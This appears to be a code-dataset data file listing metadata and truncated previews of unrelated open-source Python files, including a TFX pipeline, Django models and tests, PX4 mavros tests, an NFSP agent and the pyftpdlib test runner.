2020-02-25T08:18:51.000Z
2020-02-25T08:18:51.000Z
# ---------------------------------------------------------------------------- # Python A-Turtle # ---------------------------------------------------------------------------- # Copyright (c) Tiago Montes. # See LICENSE for details. # ---------------------------------------------------------------------------- from . ...
35.5
78
0.242254
79554678b240bfc74b9a5920187d53569743b5e4
6,273
py
Python
tfx/experimental/templates/penguin/pipeline/pipeline.py
ajmarcus/tfx
28ac2be5ace31ca733f6292495f8be83484a1730
[ "Apache-2.0" ]
null
null
null
tfx/experimental/templates/penguin/pipeline/pipeline.py
ajmarcus/tfx
28ac2be5ace31ca733f6292495f8be83484a1730
[ "Apache-2.0" ]
null
null
null
tfx/experimental/templates/penguin/pipeline/pipeline.py
ajmarcus/tfx
28ac2be5ace31ca733f6292495f8be83484a1730
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
41.543046
89
0.720867
79554691d429ac492a323bea1c35a6c1e457cc6e
4,103
py
Python
integrationtests/python_src/px4_it/mavros/mavros_airsim_test.py
CodexLabsLLC/PX4-Autopilot
928f481b2e17e43e56f51a5661141761c8e88d61
[ "BSD-3-Clause" ]
null
null
null
integrationtests/python_src/px4_it/mavros/mavros_airsim_test.py
CodexLabsLLC/PX4-Autopilot
928f481b2e17e43e56f51a5661141761c8e88d61
[ "BSD-3-Clause" ]
null
null
null
integrationtests/python_src/px4_it/mavros/mavros_airsim_test.py
CodexLabsLLC/PX4-Autopilot
928f481b2e17e43e56f51a5661141761c8e88d61
[ "BSD-3-Clause" ]
null
null
null
from __future__ import division PKG = 'px4' import rospy from geometry_msgs.msg import Quaternion, Vector3 from mavros_msgs.msg import AttitudeTarget from mavros_test_common import MavrosTestCommon # from pymavlink import mavutil from six.moves import xrange from std_msgs.msg import Header from threading import Threa...
34.771186
126
0.60468
79554778b027d2a1169d32de98dc9344fca45f45
3,645
py
Python
orders/models.py
abhishek593/IITISOC_LaFrescoInPocket
dd91b99ea60fb2753d4715e8890c0c7dc26b8b99
[ "MIT" ]
null
null
null
orders/models.py
abhishek593/IITISOC_LaFrescoInPocket
dd91b99ea60fb2753d4715e8890c0c7dc26b8b99
[ "MIT" ]
null
null
null
orders/models.py
abhishek593/IITISOC_LaFrescoInPocket
dd91b99ea60fb2753d4715e8890c0c7dc26b8b99
[ "MIT" ]
null
null
null
from django.conf import settings from django.core.mail import send_mail from django.db import models from django.db.models.signals import post_save from django.dispatch import receiver from cart.models import Cart class Order(models.Model): cart = models.OneToOneField(Cart, on_delete=models.CASCADE, primary_key=...
43.915663
110
0.653224
795547f348c11816797a9f419e52e1639831be2e
2,623
py
Python
rnbgrader/tests/test_grids.py
matthew-brett/rnbgrader
f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70
[ "BSD-2-Clause" ]
null
null
null
rnbgrader/tests/test_grids.py
matthew-brett/rnbgrader
f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70
[ "BSD-2-Clause" ]
null
null
null
rnbgrader/tests/test_grids.py
matthew-brett/rnbgrader
f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70
[ "BSD-2-Clause" ]
null
null
null
""" Test grading paths """ import numpy as np from rnbgrader.chunkrunner import EvaluatedChunk from rnbgrader.grids import full_grid, max_multi from numpy.testing import assert_array_equal def test_full_grid(): # Test calculation of grid from results, answers. An answer returns marks # from a result. Resu...
45.224138
78
0.55204
795548358453ddc1441b0b203fb47f59e5e378a9
1,018
py
Python
snipbin/test/test.py
landsurveyorsunited/snippy-extension
efa4681ea4f33497726004b9cad360a31a4caf60
[ "CC-BY-3.0" ]
null
null
null
snipbin/test/test.py
landsurveyorsunited/snippy-extension
efa4681ea4f33497726004b9cad360a31a4caf60
[ "CC-BY-3.0" ]
null
null
null
snipbin/test/test.py
landsurveyorsunited/snippy-extension
efa4681ea4f33497726004b9cad360a31a4caf60
[ "CC-BY-3.0" ]
null
null
null
#!/usr/bin/env python # Copyright (c) 2009 Riccardo Govoni. All rights reserved. # Use of this source code is governed by the MIT License and Creative Commons # Attribution License 3.0. Both of them can be found in the LICENSE file. import os.path from google.appengine.api import users from google.appengine.ext impor...
29.085714
78
0.68664
7955488f48bd804020fe23407a705c628de5612e
54,928
py
Python
django/test/testcases.py
bak1an/django
98bcc5d81bca578f3a5b4d47907ba4ac40446887
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
django/test/testcases.py
bak1an/django
98bcc5d81bca578f3a5b4d47907ba4ac40446887
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
django/test/testcases.py
bak1an/django
98bcc5d81bca578f3a5b4d47907ba4ac40446887
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
import difflib import json import posixpath import sys import threading import unittest from collections import Counter from contextlib import contextmanager from copy import copy from functools import wraps from unittest.util import safe_repr from urllib.parse import unquote, urljoin, urlparse, urlsplit from urllib.re...
40.328928
117
0.609307
795548c53224910a2941780d1ab785680e574d5e
1,091
py
Python
ex31.py
yulwin/python-exercises
812e28e26845d4578d1294dfdd5f5b3e9de9f0b7
[ "MIT" ]
2
2018-06-25T15:17:43.000Z
2018-06-25T15:17:48.000Z
ex31.py
yulwin/python-exercises
812e28e26845d4578d1294dfdd5f5b3e9de9f0b7
[ "MIT" ]
null
null
null
ex31.py
yulwin/python-exercises
812e28e26845d4578d1294dfdd5f5b3e9de9f0b7
[ "MIT" ]
null
null
null
print("""You enter a dark room with two doors. Do you go through door #1 or door #2?""") door = input("> ") if door == "1": print("There's a giant bear here eating a cheese cake.") print("What do you do?") print("1. Take the cake.") print("2. Scream at the bear.") bear = input("> ") if ...
27.974359
70
0.612282
79554a14e0621cd298c3d25105c04b39ccdea707
144
py
Python
Algorithm/Datatype/__init__.py
XuXuClassMate/My_Test_PyProject
5822455af47f5855d1db4c388c2c973c440a4d3f
[ "Apache-2.0" ]
null
null
null
Algorithm/Datatype/__init__.py
XuXuClassMate/My_Test_PyProject
5822455af47f5855d1db4c388c2c973c440a4d3f
[ "Apache-2.0" ]
null
null
null
Algorithm/Datatype/__init__.py
XuXuClassMate/My_Test_PyProject
5822455af47f5855d1db4c388c2c973c440a4d3f
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # @Author : XuXu ClassMate # @File : __init__.py.py # username: xuxudemac # @IDE: PyCharm # @Time : 2022/1/18 9:35 上午
20.571429
27
0.611111
79554a47383e1c1032fc24018e482de85d7c68f8
13,159
py
Python
rlcard/agents/nfsp_agent.py
pmalhaire/rlcard
19dbd6972c9bf1ace9ee814598e65475dd672fe5
[ "MIT" ]
1
2020-08-27T10:20:26.000Z
2020-08-27T10:20:26.000Z
rlcard/agents/nfsp_agent.py
pmalhaire/rlcard
19dbd6972c9bf1ace9ee814598e65475dd672fe5
[ "MIT" ]
null
null
null
rlcard/agents/nfsp_agent.py
pmalhaire/rlcard
19dbd6972c9bf1ace9ee814598e65475dd672fe5
[ "MIT" ]
null
null
null
# Copyright 2019 DATA Lab at Texas A&M University. All rights reserved. # Copyright 2019 DeepMind Technologies Ltd. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # ...
38.031792
299
0.625655
79554b390d7a3b62608eb8304b1b186fbb83990a
10
py
Python
spytest/tests/system/crm/__init__.py
shubav/sonic-mgmt
0ff71b907a55489bb4ed7d17b1682380fd459bf2
[ "Apache-2.0" ]
132
2016-10-19T12:34:44.000Z
2022-03-16T09:00:39.000Z
spytest/tests/system/crm/__init__.py
shubav/sonic-mgmt
0ff71b907a55489bb4ed7d17b1682380fd459bf2
[ "Apache-2.0" ]
3,152
2016-09-21T23:05:58.000Z
2022-03-31T23:29:08.000Z
spytest/tests/system/crm/__init__.py
shubav/sonic-mgmt
0ff71b907a55489bb4ed7d17b1682380fd459bf2
[ "Apache-2.0" ]
563
2016-09-20T01:00:15.000Z
2022-03-31T22:43:54.000Z
#initfile
5
9
0.8
79554c920584ad6440c9edbd506c2ba4ed59bbb3
3,160
py
Python
clusters/code.py
anupriya-babbar/ga-learner-dsmp-repo
6692b827a06bdb6e246c1df4f2f036d8c9c9a06c
[ "MIT" ]
null
null
null
clusters/code.py
anupriya-babbar/ga-learner-dsmp-repo
6692b827a06bdb6e246c1df4f2f036d8c9c9a06c
[ "MIT" ]
null
null
null
clusters/code.py
anupriya-babbar/ga-learner-dsmp-repo
6692b827a06bdb6e246c1df4f2f036d8c9c9a06c
[ "MIT" ]
null
null
null
# -------------- # import packages import pandas as pd import numpy as np import seaborn as sns import matplotlib.pyplot as plt # Load Offers offers=pd.read_excel(path,sheet_name=0) # Load Transactions list1=[] transactions=pd.read_excel(path,sheet_name=1) for i in range(0,len(transactions)): list1.append(1) ...
21.496599
83
0.701582
79554cac863aab203935f8da248afca58b716bcf
23,125
py
Python
tests/test_go.py
awesome-archive/minigo
188fb197fdafbe9664a32142373b1cbd1459bc67
[ "Apache-2.0" ]
null
null
null
tests/test_go.py
awesome-archive/minigo
188fb197fdafbe9664a32142373b1cbd1459bc67
[ "Apache-2.0" ]
null
null
null
tests/test_go.py
awesome-archive/minigo
188fb197fdafbe9664a32142373b1cbd1459bc67
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
39.939551
469
0.597881
79554cbcd92e1d5bd8be4987e8f7c8ac4cba51f8
73
py
Python
oremda/messengers/base/__init__.py
cclauss/oremda
b04e58fbb8c9c08a928f876ae1358462f3ef311d
[ "BSD-3-Clause" ]
11
2021-09-01T23:10:51.000Z
2022-03-20T07:39:37.000Z
oremda/messengers/base/__init__.py
cclauss/oremda
b04e58fbb8c9c08a928f876ae1358462f3ef311d
[ "BSD-3-Clause" ]
22
2021-05-18T14:10:27.000Z
2021-10-04T15:06:27.000Z
oremda/messengers/base/__init__.py
cclauss/oremda
b04e58fbb8c9c08a928f876ae1358462f3ef311d
[ "BSD-3-Clause" ]
2
2021-09-01T22:11:13.000Z
2021-10-30T09:12:36.000Z
from .messenger import BaseMessenger __all__ = [ "BaseMessenger", ]
12.166667
36
0.712329
79554d6e35f85330788798c8a78b79e7c9e2182b
3,298
py
Python
ircb/models/network.py
waartaa/pyirc
18381b167529ee56d1c5d5d22f857bb27692c397
[ "MIT" ]
54
2015-07-06T10:03:43.000Z
2020-12-27T06:08:02.000Z
ircb/models/network.py
waartaa/pyirc
18381b167529ee56d1c5d5d22f857bb27692c397
[ "MIT" ]
68
2015-11-22T13:56:59.000Z
2019-01-24T18:19:28.000Z
ircb/models/network.py
waartaa/pyirc
18381b167529ee56d1c5d5d22f857bb27692c397
[ "MIT" ]
15
2015-08-13T04:41:31.000Z
2021-09-30T20:01:38.000Z
# -*- coding: utf-8 -*- import datetime from hashlib import md5 import sqlalchemy as sa from sqlalchemy_utils import ChoiceType, Choice from ircb.models.lib import Base, get_session from ircb.models.user import User from ircb.config import settings NETWORK_STATUS_TYPES = ( ('0', 'Connecting'), ('1', 'Conne...
35.462366
78
0.630079
79554de7aa7b1bc0da0087917eb588b16d591284
2,197
py
Python
tests/cluster/tests_sharding.py
ParcelPerform/django-cacheops
031c0a206fbafb304cda9302b9ebe33829383ddd
[ "BSD-3-Clause" ]
null
null
null
tests/cluster/tests_sharding.py
ParcelPerform/django-cacheops
031c0a206fbafb304cda9302b9ebe33829383ddd
[ "BSD-3-Clause" ]
null
null
null
tests/cluster/tests_sharding.py
ParcelPerform/django-cacheops
031c0a206fbafb304cda9302b9ebe33829383ddd
[ "BSD-3-Clause" ]
null
null
null
from django.core.exceptions import ImproperlyConfigured from django.test import override_settings from cacheops import cache, CacheMiss from tests.models import Category, Post, Extra from tests.utils import BaseTestCase from cacheops.cluster.prefix_validator import InvalidPrefix class PrefixTests(BaseTestCase): ...
35.435484
89
0.667729
79554e3e7b260682160d5e1d80cd252b7466fc26
7,903
py
Python
ec2_compare/internal/instance_type/c4.py
weldpua2008/aws.ec2.compare
5149fc4c7cb42f4d7df1930ed8a06750155fe578
[ "Apache-2.0" ]
null
null
null
ec2_compare/internal/instance_type/c4.py
weldpua2008/aws.ec2.compare
5149fc4c7cb42f4d7df1930ed8a06750155fe578
[ "Apache-2.0" ]
null
null
null
ec2_compare/internal/instance_type/c4.py
weldpua2008/aws.ec2.compare
5149fc4c7cb42f4d7df1930ed8a06750155fe578
[ "Apache-2.0" ]
1
2021-12-15T11:58:22.000Z
2021-12-15T11:58:22.000Z
# Automatically generated # pylint: disable=all get = [{'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.9, 'DefaultVCpus': 2, 'DefaultCores': 1, 'DefaultThreadsPerCore': 2, 'ValidCores': [1], 'ValidThreadsPerCore': [1, 2], 'SizeInMiB': 3840, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': '...
658.583333
7,713
0.732001
79554e661fb8d9852a3e16680f87d885146781a9
12,750
py
Python
fury/tests/test_window.py
hnumair/fury
6116e1c702c536aae0bb89a2b7e67b4aeef1acad
[ "BSD-3-Clause" ]
1
2021-02-16T22:16:50.000Z
2021-02-16T22:16:50.000Z
fury/tests/test_window.py
hnumair/fury
6116e1c702c536aae0bb89a2b7e67b4aeef1acad
[ "BSD-3-Clause" ]
null
null
null
fury/tests/test_window.py
hnumair/fury
6116e1c702c536aae0bb89a2b7e67b4aeef1acad
[ "BSD-3-Clause" ]
null
null
null
import os import warnings from tempfile import TemporaryDirectory as InTemporaryDirectory import numpy as np import numpy.testing as npt import pytest from fury import actor, window, io from fury.testing import captured_output, assert_less_equal from fury.decorators import skip_osx, skip_win def test_scene(): sc...
34.182306
78
0.618824
79554fb2b2825f2322030678e1bfd41d2715c71e
2,643
py
Python
cloud/applications/cars-4-you/server.py
LaudateCorpus1/watson-machine-learning-samples
2eef2d00844db9bee7c20d74503e172e5683a313
[ "Apache-2.0" ]
27
2020-09-09T20:46:03.000Z
2021-11-29T20:13:35.000Z
cloud/applications/cars-4-you/server.py
LaudateCorpus1/watson-machine-learning-samples
2eef2d00844db9bee7c20d74503e172e5683a313
[ "Apache-2.0" ]
6
2020-09-21T12:50:05.000Z
2021-01-09T14:06:41.000Z
cloud/applications/cars-4-you/server.py
LaudateCorpus1/watson-machine-learning-samples
2eef2d00844db9bee7c20d74503e172e5683a313
[ "Apache-2.0" ]
55
2020-09-14T12:38:44.000Z
2022-03-18T13:28:34.000Z
import os from flask import Flask, send_from_directory, request, jsonify, logging from wml_utils import WMLHelper from nlu_utils import NLUUtils from get_details import get_wml_details, get_cos_details, get_details app = Flask(__name__, static_url_path='/static') wml_details = get_wml_details() wml_client = WMLHelper...
28.728261
82
0.701854
79554fc85ca958660bbd860f5d711cb9eea35128
12,510
py
Python
tests/CLI/modules/user_tests.py
acamacho82/softlayer-python
8a755be00dcb86abc20fcc4b4f69e3155ba187e8
[ "MIT" ]
2
2016-07-06T15:31:48.000Z
2016-07-06T15:40:25.000Z
tests/CLI/modules/user_tests.py
acamacho82/softlayer-python
8a755be00dcb86abc20fcc4b4f69e3155ba187e8
[ "MIT" ]
73
2016-07-05T15:17:51.000Z
2016-08-18T18:16:29.000Z
tests/CLI/modules/user_tests.py
kyubifire/softlayer-python
bee36eec73474a8b6a1813fbbcc0512f81bf1779
[ "MIT" ]
1
2019-07-22T05:20:39.000Z
2019-07-22T05:20:39.000Z
""" SoftLayer.tests.CLI.modules.user_tests ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tests for the user cli command """ import json import sys import mock import testtools from SoftLayer import testing class UserCLITests(testing.TestCase): """User list tests""" def test_user_list(self): ...
45.992647
108
0.639648
79555079ca5ffd97d65c0c8f0eea2dc09b80eead
4,565
py
Python
simscale_sdk/models/dimensional_function_acceleration.py
slainesimscale/simscale-python-sdk
db483eeabe558e55d020f5f829a3bf13c9c287a7
[ "MIT" ]
8
2021-01-22T13:41:03.000Z
2022-01-03T09:00:10.000Z
simscale_sdk/models/dimensional_function_acceleration.py
slainesimscale/simscale-python-sdk
db483eeabe558e55d020f5f829a3bf13c9c287a7
[ "MIT" ]
null
null
null
simscale_sdk/models/dimensional_function_acceleration.py
slainesimscale/simscale-python-sdk
db483eeabe558e55d020f5f829a3bf13c9c287a7
[ "MIT" ]
3
2021-03-18T15:52:52.000Z
2022-01-03T08:59:30.000Z
# coding: utf-8 """ SimScale API The version of the OpenAPI document: 0.0.0 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from simscale_sdk.configuration import Configuration class DimensionalFunctionAcceleration(object): """NOTE: This class is...
30.032895
109
0.594743
795551b900d78f471b67f0886aa86c21a508e044
5,584
py
Python
tests/test_custom_fields.py
NRodriguezcuellar/invenio-records-rest
c4a3717afcf9b08b6e42f3529addecc64bb2e47c
[ "MIT" ]
5
2017-10-22T00:13:49.000Z
2019-10-04T11:35:18.000Z
tests/test_custom_fields.py
NRodriguezcuellar/invenio-records-rest
c4a3717afcf9b08b6e42f3529addecc64bb2e47c
[ "MIT" ]
221
2015-10-30T23:27:52.000Z
2022-03-07T13:17:55.000Z
tests/test_custom_fields.py
NRodriguezcuellar/invenio-records-rest
c4a3717afcf9b08b6e42f3529addecc64bb2e47c
[ "MIT" ]
60
2015-10-30T22:43:27.000Z
2022-02-10T10:08:08.000Z
# -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2016-2018 CERN. # # Invenio is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. """Invenio custom schema fields tests.""" import pytest from invenio_pidstore.models...
33.437126
79
0.645774
795551e17833f98b83fd1a6fc340bfc8a30f8a39
1,800
py
Python
blousebrothers/confs/migrations/0056_auto_20171026_1356.py
sladinji/blousebrothers
461de3ba011c0aaed3f0014136c4497b6890d086
[ "MIT" ]
1
2022-01-27T11:58:10.000Z
2022-01-27T11:58:10.000Z
blousebrothers/confs/migrations/0056_auto_20171026_1356.py
sladinji/blousebrothers
461de3ba011c0aaed3f0014136c4497b6890d086
[ "MIT" ]
5
2021-03-19T00:01:54.000Z
2022-03-11T23:46:21.000Z
blousebrothers/confs/migrations/0056_auto_20171026_1356.py
sladinji/blousebrothers
461de3ba011c0aaed3f0014136c4497b6890d086
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2017-10-26 13:56 from __future__ import unicode_literals from decimal import Decimal from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('confs', '0055_auto_20171016_0854'), ] operations = [ ...
48.648649
426
0.68
7955540a462c2926c616da2b9b0d1493618ea5f2
3,550
py
Python
catkin_ws/src/ros_cap/src/line_detector.py
DiegoOrtegoP/Software
4a07dd2dab29db910ca2e26848fa6b53b7ab00cd
[ "CC-BY-2.0" ]
null
null
null
catkin_ws/src/ros_cap/src/line_detector.py
DiegoOrtegoP/Software
4a07dd2dab29db910ca2e26848fa6b53b7ab00cd
[ "CC-BY-2.0" ]
null
null
null
catkin_ws/src/ros_cap/src/line_detector.py
DiegoOrtegoP/Software
4a07dd2dab29db910ca2e26848fa6b53b7ab00cd
[ "CC-BY-2.0" ]
null
null
null
#!/usr/bin/env python import math import rospy import cv2 from sensor_msgs.msg import Image from geometry_msgs.msg import Point from std_srvs.srv import Empty, EmptyResponse from cv_bridge import CvBridge, CvBridgeError import numpy as np # define range of blue color in HSV lower_blue = np.array([110,50,50]) upper...
28.174603
111
0.605634
7955546d7eac7b111e7f6a56f844331fc31b3ee3
777
py
Python
src/utils/images.py
bradley-erickson/dash-app-structure
59ebd32626661c047a5baef38a5a0a9aa855243e
[ "MIT" ]
null
null
null
src/utils/images.py
bradley-erickson/dash-app-structure
59ebd32626661c047a5baef38a5a0a9aa855243e
[ "MIT" ]
null
null
null
src/utils/images.py
bradley-erickson/dash-app-structure
59ebd32626661c047a5baef38a5a0a9aa855243e
[ "MIT" ]
null
null
null
# notes ''' This file is used for handling anything image related. I suggest handling the local file encoding/decoding here as well as fetching any external images. ''' # package imports import base64 import os # image CDNs image_cdn = 'https://images.dog.ceo/breeds' # logo information cwd = os.getcwd() logo_path = ...
26.793103
97
0.706564
79555601e6d891e58393af1464d338d5ed786b72
97
py
Python
layers/functions/__init__.py
Rocketbase-AI/rockets-igor_ssd
c8979059b2f011b8f90d671cc544994a5835bb9c
[ "MIT" ]
5,144
2017-03-16T15:05:34.000Z
2022-03-30T11:41:10.000Z
layers/functions/__init__.py
snakers4/fish-ssd
8ff1a3004a4ef0a93b665f6e58f25a1fc854af40
[ "MIT" ]
538
2017-03-29T02:39:26.000Z
2022-03-24T07:30:33.000Z
layers/functions/__init__.py
snakers4/fish-ssd
8ff1a3004a4ef0a93b665f6e58f25a1fc854af40
[ "MIT" ]
2,051
2017-03-17T00:42:48.000Z
2022-03-29T01:58:38.000Z
from .detection import Detect from .prior_box import PriorBox __all__ = ['Detect', 'PriorBox']
16.166667
32
0.752577
7955560a4363b88aa9fa09451a8a4dcc1950f23f
11,514
py
Python
services/traction/acapy_client/model/indy_non_revoc_proof.py
Open-Earth-Foundation/traction
908b555a7f408a88541b7692d3730e37a297c919
[ "Apache-2.0" ]
12
2022-01-29T20:30:03.000Z
2022-03-29T11:46:14.000Z
services/traction/acapy_client/model/indy_non_revoc_proof.py
Open-Earth-Foundation/traction
908b555a7f408a88541b7692d3730e37a297c919
[ "Apache-2.0" ]
38
2021-11-22T17:52:50.000Z
2022-03-31T17:52:00.000Z
services/traction/acapy_client/model/indy_non_revoc_proof.py
Open-Earth-Foundation/traction
908b555a7f408a88541b7692d3730e37a297c919
[ "Apache-2.0" ]
9
2021-11-22T18:05:48.000Z
2022-03-29T11:25:08.000Z
""" Aries Cloud Agent No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v0.7.2 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from acapy_cli...
41.869091
124
0.557061
79555778cf0aa45569038527c05d0c423b9a2d8a
385
py
Python
src/suss/wsgi.py
marzoukali/suss
5073ace3621284ae135e2f7f0c228bce327b3b08
[ "MIT" ]
null
null
null
src/suss/wsgi.py
marzoukali/suss
5073ace3621284ae135e2f7f0c228bce327b3b08
[ "MIT" ]
null
null
null
src/suss/wsgi.py
marzoukali/suss
5073ace3621284ae135e2f7f0c228bce327b3b08
[ "MIT" ]
null
null
null
""" WSGI config for suss project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS...
22.647059
78
0.781818
79555a9b278df67ae29f49dce8f719a7af2c6b8f
2,642
py
Python
hio-yocto-bsp/sources/poky/scripts/lib/mic/3rdparty/pykickstart/commands/zerombr.py
qiangzai00001/hio-prj
060ff97fe21093b1369db78109d5b730b2b181c8
[ "MIT" ]
null
null
null
hio-yocto-bsp/sources/poky/scripts/lib/mic/3rdparty/pykickstart/commands/zerombr.py
qiangzai00001/hio-prj
060ff97fe21093b1369db78109d5b730b2b181c8
[ "MIT" ]
null
null
null
hio-yocto-bsp/sources/poky/scripts/lib/mic/3rdparty/pykickstart/commands/zerombr.py
qiangzai00001/hio-prj
060ff97fe21093b1369db78109d5b730b2b181c8
[ "MIT" ]
null
null
null
# # Chris Lumens <clumens@redhat.com> # # Copyright 2005, 2006, 2007 Red Hat, Inc. # # This copyrighted material is made available to anyone wishing to use, modify, # copy, or redistribute it subject to the terms and conditions of the GNU # General Public License v.2. This program is distributed in the hope that it # ...
37.742857
283
0.715367
79555b5bbae0f22bd1f327ae2a1898e232a55dfc
14,599
py
Python
test/consam_test/alignments_test.py
umich-brcf-bioinf/Connor
b20e9f36e9730c29eaa27ea5fa8b0151e58d2f13
[ "Apache-2.0" ]
22
2016-08-30T16:56:33.000Z
2021-11-20T15:32:35.000Z
test/consam_test/alignments_test.py
umich-brcf-bioinf/Connor
b20e9f36e9730c29eaa27ea5fa8b0151e58d2f13
[ "Apache-2.0" ]
11
2017-02-14T20:46:31.000Z
2020-04-21T14:32:20.000Z
test/consam_test/alignments_test.py
umich-brcf-bioinf/Connor
b20e9f36e9730c29eaa27ea5fa8b0151e58d2f13
[ "Apache-2.0" ]
6
2016-12-07T09:13:26.000Z
2021-11-20T15:34:52.000Z
#pylint: disable=invalid-name, too-few-public-methods, too-many-public-methods #pylint: disable=protected-access, missing-docstring, too-many-locals #pylint: disable=too-many-arguments,deprecated-method from __future__ import print_function, absolute_import, division from test.utils_test import MicroMock from test.uti...
47.70915
91
0.612645
79555c2b59b237d99e9afc06647ae9779f592529
4,466
py
Python
pyftpdlib/test/runner.py
cclauss/pyftpdlib
b2f078cabe3b6a9ca0129dada516c1396c8477b9
[ "MIT" ]
69
2015-12-28T07:02:51.000Z
2022-03-31T13:36:42.000Z
pyftpdlib/test/runner.py
cclauss/pyftpdlib
b2f078cabe3b6a9ca0129dada516c1396c8477b9
[ "MIT" ]
23
2016-03-04T10:43:24.000Z
2021-03-17T09:58:19.000Z
pyftpdlib/test/runner.py
cclauss/pyftpdlib
b2f078cabe3b6a9ca0129dada516c1396c8477b9
[ "MIT" ]
24
2016-02-29T11:45:47.000Z
2021-12-24T08:41:37.000Z
#!/usr/bin/env python # Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>. # Use of this source code is governed by MIT license that can be # found in the LICENSE file. from __future__ import print_function import atexit import os import sys from unittest import TestResult from unittest import TextTestResult...
28.08805
78
0.661666